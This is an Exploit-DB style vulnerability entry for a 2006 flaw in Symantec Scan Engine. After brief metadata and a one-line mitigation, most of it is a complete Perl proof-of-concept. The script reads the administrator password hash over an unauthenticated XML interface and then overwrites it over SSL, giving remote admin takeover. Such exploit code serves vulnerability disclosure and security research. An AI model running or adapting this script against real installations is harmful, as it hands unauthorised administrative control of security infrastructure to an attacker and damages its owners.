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vendor:
Symantec Scan Engine
by:
Marc Bevand
7.5
CVSS
HIGH
Password Change Vulnerability
259
CWE
Product Name: Symantec Scan Engine
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
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Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2006

Remotely Change the Administrator Password (or Password Hash) of Symantec Scan Engine

This exploit allows an attacker to remotely change the administrator password (or password hash) of Symantec Scan Engine.

Mitigation:

Ensure that the Symantec Scan Engine is updated to the latest version.
Source

Exploit-DB raw data:

#!/usr/bin/perl -w
#
# Remotely change the administrator password (or password hash) of
# Symantec Scan Engine.
#
# Author: Marc Bevand of Rapid7 <marc_bevand(at)rapid7.com>
# Copyright 2006 Rapid7, LLC. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
#   1. Redistributions of source code must retain the above copyright
#   notice, this list of conditions and the following disclaimer.
#
#   2. Redistributions in binary form must reproduce the above
#   copyright notice, this list of conditions and the following
#   disclaimer in the documentation and/or other materials provided
#   with the distribution.
#
#   THIS SOFTWARE IS PROVIDED BY RAPID7, LLC ``AS IS'' AND ANY EXPRESS
#   OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#   WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
#   ARE DISCLAIMED. IN NO EVENT SHALL RAPID7, LLC BE LIABLE FOR ANY
#   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
#   DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
#   GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
#   INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
#   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
#   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
#   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

use strict;
use Getopt::Long;
use LWP::UserAgent;
use Digest::MD5 qw/md5_hex/;
use Net::SSLeay::Handle qw/shutdown/;

#
# Init LWP::UserAgent (the user agent string is the one currently used
# by the Scan Engine java applet).
#
sub init {
  my $ua;
  $ua = LWP::UserAgent->new(keep_alive => 0);
  $ua->agent("Mozilla/4.0 (Windows 2000 5.0) Java/1.4.2_08");
  return $ua;
}

#
# Example of service string to be parsed:
# 10.68.4.4
# 10.68.4.4/8004/8005
# hostname
# hostname/9004/9005
#
sub parse_service {
  my ($service) = @_;

  if ($service =~ m{^([^/]*)/(\d+)/(\d+)$}) {
     return $1, $2, $3;
  } elsif ($service =~ m{^([^/]*)$}) {
     return $1, 8004, 8005;
  } else {
     die "cannot parse service: $service";
  }
}

#
# Sends a request to obtain the password hash. Note: the RSA key
# (modulus and public exponent) has been randomly chosen.
#
sub data_to_send {
  my $r1 =
  '<request><key mod="784607708866372110095636553206565253692059085'.
  '0882661452379500719255245078226751123858547991180612629396444366'.
  '109364669329014831409765373165312900564995261" pub="754297542068'.
  '3822223796790522532950961415568940207500046396606172395479254814'.
  '3383744922039888710333203519260280729415961892539564611703079983'.
  '74406014351745">I need the key</key></request>'
  ;

  return $r1;
}

#
# Example of response to be parsed:
# <request>
#   <message xmlns:xs="http://www.w3.org/2001/XMLSchema"
#     xmlns:java="class:com.symantec.common.SimpleRSA"
#     value="01234567890123456789012345678901234567890123456789012345\
# 6789"/>
#   <password xmlns:xs="http://www.w3.org/2001/XMLSchema"
#     xmlns:java="class:com.symantec.common.SimpleRSA"
#     pass="86B7A1FE120C0279971559B6BAC8C5713EF580BAFD20168D622B7E170\
# D248642"/>
# </request>
#
sub parse_resp {
  my ($res) = @_;

  if ($res =~ /pass="([[:xdigit:]]{64})"/) {
     return $1;
  } else {
     die "cannot parse response: $res";
  }
}

#
# Return a password hash.
#
sub hash_passwd {
  my ($pwd) = @_;
  my $salt = sprintf "%08X%08X%08X%08X", rand(0xffffffff),
  rand(0xffffffff), rand(0xffffffff), rand(0xffffffff);

  return uc(md5_hex("$pwd$salt")) . $salt;
}

sub send_request {
  my ($socket, $req) = @_;

  $req = pack("n", length($req)).$req;
  print $socket $req;
}

#
# Set the administrator password hash.
#
sub set_hash {
  my ($hostname, $port_ssl, $hash) = @_;
  my $socket;
  my $reply;

  tie(*SSL, "Net::SSLeay::Handle", $hostname, $port_ssl)
     or die "ssl tie: $!";
  $socket = \*SSL;
  send_request($socket,
     '<request command="submit" parms="apply" type="saveapply">'.
     '<![CDATA[<?xml version="1.0" encoding="UTF-8"?>'.
     '<guichanges><configuration>'.
     '<changes xpath="//admin/password/@value" value="'.$hash.'"/>'.
     '</configuration></guichanges>'.
     ']]></request>');
  send_request($socket,
     'UTFWritesDone');
  shutdown($socket, 1) or die "ssl shutdown: $!";
  $reply = substr(<$socket>, 2);
  $reply = substr($reply, 0, index($reply, 'UTFWritesDone') - 2);
  if ($reply !~ m{<message status='apply_success'>Apply!</message>})
  {
     die "command failed: $reply";
  }
  close($socket) or die "ssl close: $!";
}

sub doit {
  my ($service, $pwd, $hash) = @_;
  my $hostname;
  my $port_http;
  my $port_ssl;
  my $ua;
  my $url;
  my $req;
  my $res;
  my $old_hash;

  ($hostname, $port_http, $port_ssl) = parse_service($service);
  $ua = init();
  $url = "http://$hostname:$port_http/xml.xml";
  $req = HTTP::Request->new(POST => $url);
  $req->content_type('application/x-www-form-urlencoded');
  $req->content(data_to_send());
  $res = $ua->request($req);
  $res->is_success or die "got ".$res->status_line." for $url\n";
  ($old_hash) = parse_resp($res->content);
  print "Old hash: $old_hash\n";
  if ($hash) {
     set_hash($hostname, $port_ssl, $hash);
     print "New hash: $hash\n";
  } else {
     $hash = hash_passwd($pwd);
     set_hash($hostname, $port_ssl, $hash);
     print "New hash: $hash\n";
     print "Password successfully set to: '$pwd'\n";
  }
}

sub error {
  print STDERR "Try `$0 --help' for more information.\n";
}

sub usage {
  print "Usage:\n".
  "  $0 [OPTIONS] <hostname>\n".
  "  $0 [OPTIONS] <hostname>/<http_port>/<ssl_port>\n".
  "Options:\n".
  "  --help                Display this help\n".
  "  --pwd <passwd>        Set the password (default: test)\n".
  "  --hash <passwd_hash>  Set the password hash instead of a parti".
  "cular password\n".
  "Examples:\n".
  "  $0 10.68.4.4\n".
  "  $0 --pwd foobar 10.68.4.4/8004/8005\n".
  "";
}

sub main {
  my $help;
  my $pwd = "test";
  my $hash;
  my $service;

  if (!GetOptions(
        "help" => \$help,
        "pwd=s" => \$pwd,
        "hash=s" => \$hash,
     )) {
     error(); exit(1);
  }
  if ($help) {
     usage(); exit(0);
  }
  if (!scalar(@ARGV)) {
     print STDERR "No service specified.\n";
     error(); exit(1);
  } elsif (1 == scalar(@ARGV)) {
     $service = $ARGV[0];
  } else {
     print STDERR "Extra argument: $ARGV[1]\n";
     error(); exit(1);
  }
  doit($service, $pwd, $hash);
}

main();

#
# END proof of concept
#

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